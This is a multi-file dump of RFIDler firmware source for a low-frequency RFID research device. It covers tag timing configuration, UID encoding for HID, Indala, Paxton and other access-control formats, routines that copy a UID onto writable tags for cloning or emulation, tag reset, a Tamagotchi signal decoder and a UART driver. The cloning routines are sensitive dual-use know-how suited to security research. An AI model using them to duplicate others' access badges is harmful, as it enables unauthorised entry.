RFIDlerConfig.PotHigh= 160;
RFIDlerConfig.DataRate= 64;
RFIDlerConfig.DataBits= 64;
RFIDlerConfig.DataBlocks= Q5_DATABLOCKS;
RFIDlerConfig.BlockSize= Q5_BLOCKSIZE;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.Sync[0]= 0xFF;
RFIDlerConfig.Sync[1]= 0xFF;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 9;
RFIDlerConfig.RWD_Sleep_Period= 13000;
RFIDlerConfig.RWD_Wake_Period= 4000; // must be more than 3ms, but play it safe
RFIDlerConfig.RWD_Gap_Period= 50; // 14 nominal, 8 - 50 normal, 8 - 25 fast write mode
RFIDlerConfig.RWD_Zero_Period= 16; //24; // 24 nominal, 16 - 31 normal, 8 - 15 fast write mode
RFIDlerConfig.RWD_One_Period= 48; //54; // 54 nominal, 48 - 63 normal, 24 - 31 fast write mode
RFIDlerConfig.RWD_Wait_Switch_TX_RX= 48; //64; // q5 will exit downlink mode after 64 but may not yet be damped!
RFIDlerConfig.RWD_Wait_Switch_RX_TX= 192; // the longer the better!
PWD_Mode= FALSE;
break;
case TAG_TYPE_T55X7:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
RFIDlerConfig.PotHigh= POTHIGH_DEFAULT;
RFIDlerConfig.Manchester= TRUE;
RFIDlerConfig.DataRate= 32;
RFIDlerConfig.DataBits= 64;
RFIDlerConfig.Sync[0]= 0xE0;
RFIDlerConfig.Sync[1]= 0x15;
RFIDlerConfig.Sync[2]= 0x00;
RFIDlerConfig.Sync[3]= 0x00;
RFIDlerConfig.SyncBits= 16;
RFIDlerConfig.DataBlocks= T55X7_DATABLOCKS;
RFIDlerConfig.BlockSize= T55X7_BLOCKSIZE;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.RWD_Sleep_Period= 13000; // small tags such as keyfobs need a long sleep to reset
RFIDlerConfig.RWD_Wake_Period= 4000;
RFIDlerConfig.RWD_Gap_Period= 23; // 14; // 14 nominal, 8 - 30 normal, 8 - 25 fast write mode
RFIDlerConfig.RWD_Zero_Period= 16; // 24; // 24 nominal, 16 - 31 normal, 8 - 15 fast write mode
RFIDlerConfig.RWD_One_Period= 48; // 54; // 54 nominal, 48 - 63 normal, 24 - 31 fast write mode
RFIDlerConfig.RWD_Wait_Switch_TX_RX= 64; // t55x7 will exit downlink mode after 64 but we mustn't read until t55x7 switches damping on
RFIDlerConfig.RWD_Wait_Switch_RX_TX= 192;
break;
// special case - TAMAGOTCHI do not do anything but PWM, so most settings are irrelevant
case TAG_TYPE_TAMAGOTCHI:
RFIDlerConfig.FrameClock= 800;
RFIDlerConfig.TagType= tag;
RFIDlerConfig.Repeat= 20;
RFIDlerConfig.Timeout= 13000; // timeout in uS (note with prescaler of 16 max is 13107)
RFIDlerConfig.RWD_Sleep_Period= 13000; // small tags such as keyfobs need a long sleep to reset
RFIDlerConfig.RWD_Wake_Period= 4000;
RFIDlerConfig.RWD_Gap_Period= 23; // 14; // 14 nominal, 8 - 30 normal, 8 - 25 fast write mode
RFIDlerConfig.RWD_Zero_Period= 16; // 24; // 24 nominal, 16 - 31 normal, 8 - 15 fast write mode
RFIDlerConfig.RWD_One_Period= 48; // 54; // 54 nominal, 48 - 63 normal, 24 - 31 fast write mode
RFIDlerConfig.RWD_Wait_Switch_TX_RX= 64; // t55x7 will exit downlink mode after 64 but we mustn't read until t55x7 switches damping on
RFIDlerConfig.RWD_Wait_Switch_RX_TX= 192;
break;
default:
return FALSE;
}
// stop clocks
stop_HW_clock();
// configure potentiometers
set_mcp414_wiper(WIPER_HIGH, VOLATILE, RFIDlerConfig.PotHigh, TmpBuff);
set_mcp414_wiper(WIPER_LOW, VOLATILE, RFIDlerConfig.PotLow, TmpBuff);
// delay to allow things to settle
Delay_us(500000);
// reset globals
PWD_Mode= FALSE;
memset(Password, '\0', sizeof(Password));
return TRUE;
}
// encode UID to raw hex according to TAG selection
BOOL tag_uid_to_hex(BYTE *hex, BYTE *uid, BYTE tagtype)
{
switch(tagtype)
{
case TAG_TYPE_ASK_RAW:
case TAG_TYPE_EM4X05:
case TAG_TYPE_FSK1_RAW:
case TAG_TYPE_FSK2_RAW:
case TAG_TYPE_PSK1_RAW:
case TAG_TYPE_PSK2_RAW:
case TAG_TYPE_PSK3_RAW:
memcpy(hex, uid, strlen(uid));
return TRUE;
case TAG_TYPE_AWID_26:
if(!bcd_to_awid26_hex(hex, uid))
return FALSE;
return TRUE;
case TAG_TYPE_Q5:
case TAG_TYPE_EM4X02:
if(!hex_to_em4x02_hex(hex, uid))
return FALSE;
return TRUE;
case TAG_TYPE_FDXB:
if(!uid_to_fdxb_hex(hex, uid))
return FALSE;
return TRUE;
case TAG_TYPE_HID_26:
if(!bcd_to_hid26_hex(hex, uid))
return FALSE;
return TRUE;
case TAG_TYPE_INDALA_64:
if(!indala64_hex_to_uid(hex, uid))
return FALSE;
return TRUE;
case TAG_TYPE_INDALA_224:
if(!indala224_hex_to_uid(hex, uid))
return FALSE;
return TRUE;
case TAG_TYPE_UNIQUE:
if(!hex_to_unique_hex(hex, uid))
return FALSE;
return TRUE;
case TAG_TYPE_PAXTON:
if(!hex_to_paxton_hex(hex, uid))
return FALSE;
return TRUE;
default:
return FALSE;
}
return TRUE;
}
// copy raw UID to data blocks for re-transmission by target tag
void tag_raw_uid_to_data(BYTE *data, BYTE *uid, BYTE host_tagtype)
{
BYTE tmp[MAXUID + 1];
unsigned int i;
switch(host_tagtype)
{
// EM4X05 sends everything LSB, so reverse data
case TAG_TYPE_EM4X05:
hextobinarray(tmp, uid);
for(i= 0 ; i < HEXTOBITS(strlen(uid)) ; i += EM4X05_BLOCKSIZE)
string_reverse(tmp + i, EM4X05_BLOCKSIZE);
binarraytohex(data, tmp, HEXTOBITS(strlen(uid)));
break;
// for most tags a straight copy will do
default:
strcpy(data, uid);
break;
}
}
// reset tag to default by writing config block
BOOL tag_write_default_config(BYTE tagtype, BYTE *password)
{
unsigned int tmp;
if(!config_block_number(&tmp, tagtype))
return FALSE;
// hitag2 always needs login/auth
if(strlen(password) || tagtype == TAG_TYPE_HITAG2)
if(!(tag_login(tmp, TmpBuff, password) || tag_auth(tmp, TmpBuff, password)))
return FALSE;
// emulation block for own tag type is default config block
if(!config_block(TmpBuff, tagtype, tagtype))
return FALSE;
return write_tag(tmp, TmpBuff, VERIFY);
}
// reset tag to default and wipe all data blocks
BOOL tag_write_default_blocks(BYTE tagtype, BYTE *password)
{
unsigned int i;
switch(tagtype)
{
case TAG_TYPE_EM4X05:
if(!tag_write_default_config(tagtype, password))
return FALSE;
for(i= EM4X05_USER_DATA_BLOCK_NUM ; i < EM4X05_DATABLOCKS ; ++i)
if(i != EM4X05_PW_BLOCK_NUM && !write_tag(i, EM4X05_BLANK_BLOCK, VERIFY))
return FALSE;
// write default password (write only, so no verify)
if(!write_tag(EM4X05_PW_BLOCK_NUM, EM4X05_PWD_DEFAULT, NO_VERIFY))
return FALSE;
return TRUE;
case TAG_TYPE_HITAG2:
if(!tag_write_default_config(tagtype, password))
return FALSE;
for(i= HITAG2_USER_DATA_BLOCK_NUM ; i < HITAG2_DATABLOCKS ; ++i)
if(!write_tag(i, HITAG2_BLANK_BLOCK, VERIFY))
return FALSE;
// write default password
if(!write_tag(HITAG2_PW_BLOCK_NUM, HITAG2_PWD_DEFAULT, VERIFY))
return FALSE;
return TRUE;
case TAG_TYPE_Q5:
// write config first so we can verify data block writes
if(!tag_write_default_config(tagtype, ""))
return FALSE;
for(i= Q5_USER_DATA_BLOCK_NUM ; i < Q5_DATABLOCKS ; ++i)
if(!write_tag(i, Q5_BLANK_BLOCK, VERIFY))
return FALSE;
return TRUE;
case TAG_TYPE_T55X7:
// write config first so we can verify data block writes
if(!tag_write_default_config(tagtype, ""))
return FALSE;
for(i= T55X7_USER_DATA_BLOCK_NUM ; i < T55X7_DATABLOCKS ; ++i)
if(!write_tag(i, T55X7_BLANK_BLOCK, VERIFY))
return FALSE;
return TRUE;
default:
return FALSE;
}
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/tamagotchi.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// Natalie Silvanovich
// Tony Naggs
//
// Credit also to Mr Blinky (Twitter @MstrBlinky) for publishing info on decoding Tamagotchi Friends NFC, eg http://mrblinky.net/tf/packet-sniffing.txt
#include "HardwareProfile.h"
#include "comms.h"
#include "rfidler.h"
#include "tamagotchi.h"
#include "util.h"
// temporary? Enable debug prints for bit level decode
#define VERBOSE_TAMA_LOGGING
// tunable constants for decode
const unsigned int KBitMinPulse = 15; // nominal bit pulse: 100 uS
const unsigned int KBitMaxPulse = 130;
const unsigned int KOneMinGap = 550; // nominal One Gap: 600 ~ 650 uS
const unsigned int KOneMaxGap = 750;
const unsigned int KZeroMinGap = 150; // nominal Zero Gap: 250 uS
const unsigned int KZeroMaxGap = 400;
const unsigned int KBarrierMinPulse = 200; // nominal Barrier: 200 uS gap, 500 uS clock burst
const unsigned int KBarrierMaxPulse = 600;
const unsigned KMaxTamaMessage = 32; // max known message len from tamagotchi (for email)
// decode externally sniffed PWM
BOOL tamagotchi_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)
{
unsigned int index, offset, outcount;
BOOL decoded= FALSE;
BYTE out[KMaxTamaMessage];
// FIXME skip leading pulses of zero uS - can delete when sniff_pwm() no longer gives these to us
offset= 0;
while ((offset < count) && (pulses[offset] == 0))
{
offset++;
}
#if defined(VERBOSE_TAMA_LOGGING)
if (offset)
UserMessageNum("\r\noffset past zero pulses %d", offset);
#endif
// decode
for(index= 0, outcount= 0; ((index + offset) < count) && (outcount < (KMaxTamaMessage - 1));)
{
unsigned long temp = pulses[offset + index];
// start of byte barrier?
if ((temp >= KBarrierMinPulse) && (temp <= KBarrierMaxPulse) && ((index + offset) < (count - 7)))
{
unsigned int bits = 0;
BYTE b = 0;
#if defined(VERBOSE_TAMA_LOGGING)
UserMessageNum("\r\nBarrier (%d) ", temp);
#endif
// process the byte (note changes index)
do {
b <<= 1;
// peek at the next pulse to make sure it is valid
temp = pulses[offset + index + 1];
// bit is invalid if next pulse is wrong size
if ((temp < KBitMinPulse) || (temp > KBitMaxPulse))
{
decoded = FALSE;
UserMessageNum("(bad pulse count %d) ", temp);
break; // bad pulse width
}
if (index == 0)
decoded = TRUE;
// value of bit depends on gap size
temp = gaps[offset + index];
if ((temp >= KOneMinGap) && (temp <= KOneMaxGap))
{
// 1
b += 1;
#if defined(VERBOSE_TAMA_LOGGING)
UserMessageNum("1 (gap %d) ", temp);
#endif
}
else if ((temp >= KZeroMinGap) && (temp <= KZeroMaxGap))
{
// 0
#if defined(VERBOSE_TAMA_LOGGING)
UserMessageNum("0 (gap %d) ", temp);
#endif
}
else
{
decoded = FALSE;
#if defined(VERBOSE_TAMA_LOGGING)
UserMessageNum("(bad gap %d) ", temp);
#endif
break; // bad gap
}
++bits;
++index;
}
while (((offset + index) < count) && (bits < 8));
if (bits == 8)
{
out[outcount++] = b;
#if defined(VERBOSE_TAMA_LOGGING)
UserMessageNum(" 0x%02x", b);
#endif
}
}
else
{
#if defined(VERBOSE_TAMA_LOGGING)
if (index > 0)
{
temp = gaps[offset + index - 1];
if ((temp >= KOneMinGap) && (temp <= KOneMaxGap))
UserMessageNum("\r\n1 Gap: %d, ", temp);
else if ((temp >= KZeroMinGap) && (temp <= KZeroMaxGap))
UserMessageNum("\r\n0 Gap: %d, ", temp);
else
UserMessageNum("\r\n??? Gap: %d, ", temp);
}
temp = pulses[offset + index];
if ((temp >= KBitMinPulse) && (temp <= KBitMaxPulse))
UserMessageNum("Bit Pulse: %d", temp);
else if ((temp >= KBarrierMinPulse) && (temp <= KBarrierMaxPulse))
UserMessageNum("Barrier Pulse: %d", temp);
else
UserMessageNum("??? Pulse: %d", temp);
#endif
decoded = FALSE;
}
++index;
}
UserMessage("%s", "\r\n");
if (decoded)
decoded = VerifyTamaMessage(out, outcount);
return decoded;
}
// sum bytes (except initial sync 0xf0 and received checksum)
// and if message seems valid display hex/text dump
BOOL VerifyTamaMessage(BYTE *out, unsigned int outcount)
{
BOOL valid = FALSE;
// check for sync & message length bytes
if ((outcount > 5) && (out[0] == 0xf0) && (out[2] == outcount - 4))
{
BYTE checksum = ChecksumTamaMessage(out, outcount - 1);
UserMessageNum("Message checking, calculated checksum: 0x%x\r\n", checksum);
if (checksum == out[outcount-1])
{
valid = TRUE;
DumpTamaMessage(out, outcount);
}
}
return valid;
}
BYTE ChecksumTamaMessage(BYTE *out, unsigned int outcount)
{
BYTE checksum = 0;
unsigned int index;
// index starts at 1 to skip sync byte
for (index= 1; index < outcount; index++ )
checksum += out[index];
return checksum;
}
void DumpTamaMessage(BYTE *out, unsigned int outcount)
{
unsigned int index;
char text[KMaxTamaMessage + 1];
// print message in hex
for (index= 0; index < outcount; index++ )
{
BYTE b = out[index];
UserMessageNum(" %02X", b);
if ((index % 8) == 7)
UserMessage(" ", NULL);
// convert from Tamagotchi Alphabet (eg user assigned name, email)
text[index] = TamaAlphabetConvert(b);
}
text[index] = 0;
UserMessage(" %s\r\n", text);
}
char TamaAlphabetConvert(BYTE b)
{
if (b < 26)
return 'A' + b;
else if (b >= 32 && b <= 41)
return '0' + b - 32;
else switch (b)
{
case 26: return ' ';
case 27: return '.';
case 28: return '\'';
case 29: return '-';
case 30: return '!';
// unknown
default: return '?';
}
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/uart3.c
================================================
/*
UART2 Driver File for PIC24.
********************************************************************************
FileName: uart2.c
Dependencies: HardwareProfile.h
Processor: PIC24
Compiler: MPLAB C30
Linker: MPLAB LINK30
Company: Microchip Technology Incorporated
Author Date Comment
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
KO 12-Feb-2008 Modified to use HardwareProfile.h
KO 11-Oct-2006 v1.0
Anton Alkhimenok 18-Oct-2005
Anton Alkhimenok 17-Feb-2009 Added UART2Char2Hex(), UART2Hex2Char(),
UART2ClearError(), UART2DataReceived()
PAT 27-Jan-2010 Added UART2GetBaudError() for dynamic checking
of baud rate percentage error.
********************************************************************************
Software License Agreement
Microchip Technology Inc. ("Microchip") licenses to you the right to use, copy,
modify and distribute the software - including source code - only for use with
Microchip microcontrollers or Microchip digital signal controllers; provided
that no open source or free software is incorporated into the Source Code
without Microchips prior written consent in each instance.
The software is owned by Microchip and its licensors, and is protected under
applicable copyright laws. All rights reserved.
SOFTWARE AND DOCUMENTATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND,
EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF
MERCHANTABILITY, TITLE, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.
IN NO EVENT SHALL MICROCHIP OR ITS LICENSORS BE LIABLE OR OBLIGATED UNDER
CONTRACT, NEGLIGENCE, STRICT LIABILITY, CONTRIBUTION, BREACH OF WARRANTY, OR
OTHER LEGAL EQUITABLE THEORY ANY DIRECT OR INDIRECT DAMAGES OR EXPENSES
INCLUDING BUT NOT LIMITED TO ANY INCIDENTAL, SPECIAL, INDIRECT OR
CONSEQUENTIAL DAMAGES, LOST PROFITS OR LOST DATA, COST OF PROCUREMENT OF
SUBSTITUTE GOODS, TECHNOLOGY, SERVICES, ANY CLAIMS BY THIRD PARTIES (INCLUDING
BUT NOT LIMITED TO ANY DEFENSE THEREOF), OR OTHER SIMILAR COSTS.
********************************************************************************
*/
#include "Compiler.h"
#include "HardwareProfile.h"
#include "uart3.h"
//******************************************************************************
// Constants
//******************************************************************************
//U2BRG register value and baudrate mistake calculation
#if defined (__C30__)
#if defined (__dsPIC33E__) || defined (__PIC24E__)
#define BAUDRATEREG2 (((GetPeripheralClock())/(BRG_DIV2 * BAUDRATE2)) - 1)
#else
#define BAUDRATEREG2 (((GetSystemClock()/2)+(BRG_DIV2/2*BAUDRATE2))/BRG_DIV2/BAUDRATE2-1)
#endif
#elif defined (__PIC32MX__)
#define BAUDRATEREG3 ((GetPeripheralClock()+(BRG_DIV3/2*BAUDRATE3))/BRG_DIV3/BAUDRATE3-1)
#else
#error Cannot calculate BRG value
#endif
#if defined (__C30__)
#if defined (__dsPIC33E__)|| defined (__PIC24E__)
#define BAUD_ACTUAL ((GetPeripheralClock())/(BRG_DIV2 * (BAUDRATEREG2+1)))
#else
#define BAUD_ACTUAL ((GetSystemClock()/2)/BRG_DIV2/(BAUDRATEREG2+1))
#endif
#elif defined (__PIC32MX__)
#define BAUD_ACTUAL3 (GetPeripheralClock()/BRG_DIV3/(BAUDRATEREG3+1))
#else
#error Cannot calculate actual baud rate
#endif
#define BAUD_ERROR3 ((BAUD_ACTUAL3 > BAUDRATE3) ? BAUD_ACTUAL3-BAUDRATE3 : BAUDRATE3-BAUD_ACTUAL3)
#define BAUD_ERROR_PERCENT3 ((BAUD_ERROR3*100+BAUDRATE3/2)/BAUDRATE3)
#if defined (__C30__)
#if (BAUD_ERROR_PERCENT > 3)
#error UART frequency error is worse than 3%
#elif (BAUD_ERROR_PERCENT > 2)
#warning UART frequency error is worse than 2%
#endif
#endif // #if defined (__C30__)
/*******************************************************************************
Function: UART2GetBaudError()
Precondition:
None.
Overview:
This routine checks the UART baud rate error percentage and returns it.
Input: None.
Output: Returns the baud rate error in percent.
*******************************************************************************/
char UART3GetBaudError()
{
unsigned int errorPercent = 0;
errorPercent = ((BAUD_ERROR3*100+BAUDRATE3/2)/BAUDRATE3);
return (char)errorPercent;
}
/*******************************************************************************
Function: UART2GetChar()
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This routine waits for a byte to be received. It then returns that byte.
Input: None.
Output: Byte received.
*******************************************************************************/
char UART3GetChar()
{
char Temp;
while(IFS1bits.U3RXIF == 0);
Temp = U3RXREG;
IFS1bits.U3RXIF = 0;
return Temp;
}
/*******************************************************************************
Function: UART2Init()
Precondition: None.
Overview:
This routine sets up the UART2 module.
Input: None.
Output: None.
Notes:
Allow the peripheral to set the I/O pin directions. If we set the TRIS
bits manually, then when we disable the UART, the shape of the stop bit
changes, and some terminal programs have problems.
*******************************************************************************/
void UART3Init()
{
U3BRG = BAUDRATEREG3;
U3MODE = 0;
U3MODEbits.BRGH = BRGH3;
U3STA = 0;
U3MODEbits.UARTEN = 1;
U3STAbits.UTXEN = 1;
IFS1bits.U3RXIF = 0;
#if defined (__PIC32MX__)
U3STAbits.URXEN = 1;
#endif
}
/*******************************************************************************
Function: UART2IsPressed()
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This routine checks to see if there is a new byte in UART reception buffer.
Input: None.
Output:
0 : No new data received.
1 : Data is in the receive buffer
*******************************************************************************/
char UART3IsPressed()
{
if(IFS1bits.U3RXIF == 1)
return 1;
return 0;
}
/*******************************************************************************
Function: UART2PrintString( char *str )
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This function prints a string of characters to the UART.
Input: Pointer to a null terminated character string.
Output: None.
*******************************************************************************/
void UART3PrintString( char *str )
{
unsigned char c;
while( (c = *str++) )
UART3PutChar(c);
}
/*******************************************************************************
Function: UART2PutChar( char ch )
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This routine writes a character to the transmit FIFO, and then waits for the
transmit FIFO to be empty.
Input: Byte to be sent.
Output: None.
*******************************************************************************/
void UART3PutChar( char ch )
{
U3TXREG = ch;
#if !defined(__PIC32MX__)
Nop();
Nop();
#endif
while(U3STAbits.TRMT == 0);
}
/*******************************************************************************
Function: UART2PutDec(unsigned char dec)
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This function converts decimal data into a string and outputs it to UART.
Input: Binary data.
Output: None.
*******************************************************************************/
void UART3PutDec(unsigned char dec)
{
unsigned char res;
unsigned char printed_already = 0;
res = dec;
if (res/100)
{
UART3PutChar( res/100 + '0' );
printed_already = 1;
}
res = res - (res/100)*100;
if ((res/10) || (printed_already == 1))
{
UART3PutChar( res/10 + '0' );
}
res = res - (res/10)*10;
UART3PutChar( res + '0' );
}
/*******************************************************************************
Function: UART2PutHex
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This function converts hex data into a string and outputs it to UART.
Input: Binary data.
Output: None.
*******************************************************************************/
//const unsigned char CharacterArray[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
//
//void UART3PutHex( int toPrint )
//{
// int printVar;
//
// printVar = toPrint;
// toPrint = (toPrint>>4) & 0x0F;
// UART3PutChar( CharacterArray[toPrint] );
//
// toPrint = printVar & 0x0F;
// UART3PutChar( CharacterArray[toPrint] );
//
// return;
//}
/*******************************************************************************
Function: UART2PutHexWord(unsigned int toPrint)
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This function converts hex data into a string and outputs it to UART.
Input: Binary data.
Output: None.
*******************************************************************************/
//#if defined( __C30__ ) || defined( __PIC32MX__ )
//void UART3PutHexWord( unsigned int toPrint )
//{
// unsigned int printVar;
//
// printVar = (toPrint>>12) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = (toPrint>>8) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = (toPrint>>4) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = toPrint & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// return;
//}
//
//void UART3PutHexDWord( unsigned long toPrint )
//{
// unsigned long printVar;
//
// printVar = (toPrint>>28) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = (toPrint>>24) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = (toPrint>>20) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = (toPrint>>16) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = (toPrint>>12) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = (toPrint>>8) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = (toPrint>>4) & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// printVar = toPrint & 0x0F;
// UART3PutChar( CharacterArray[printVar] );
//
// return;
//}
//
//#endif
/*********************************************************************
Function: char UART2Char2Hex(char ch)
PreCondition: none
Input: ASCII to be converted
Output: number
Side Effects: none
Overview: converts ASCII coded digit into number
Note: none
********************************************************************/
//char UART3Char2Hex(char ch){
// // Wrong char
// if(ch > 102)
// return 0;
//
// // From a to f
// if(ch > 96)
// return (ch-87);
//
// // Wrong char
// if(ch > 70)
// return 0;
//
// // From A to F
// if(ch > 64)
// return (ch-55);
//
// // Wrong char
// if(ch > 57)
// return 0;
//
// // From 0 - 9
// if(ch > 47)
// return(ch-48);
// else
// // Wrong char
// return 0;
//}
//
///*********************************************************************
//Function: char UART2Hex2Char(char hex)
//
//PreCondition: none
//
//Input: number
//
//Output: ASCII code
//
//Side Effects: none
//
//Overview: converts low nibble into ASCII coded digit
//
//Note: none
//
//********************************************************************/
//char UART3Hex2Char(char hex){
//char h;
// h = hex&0x0f;
// // From 0xa to 0xf
// if(h>9)
// return (h+55);
// else
// return (h+48);
//}
/*********************************************************************
Function: void UART2ClrError(void)
PreCondition: none
Input: none
Output: character received
Side Effects: none
Overview: wait for character
Note: none
********************************************************************/
void UART3ClrError(void){
// Clear error flag
if(U3STAbits.OERR)
U3STAbits.OERR = 0;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/uid.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
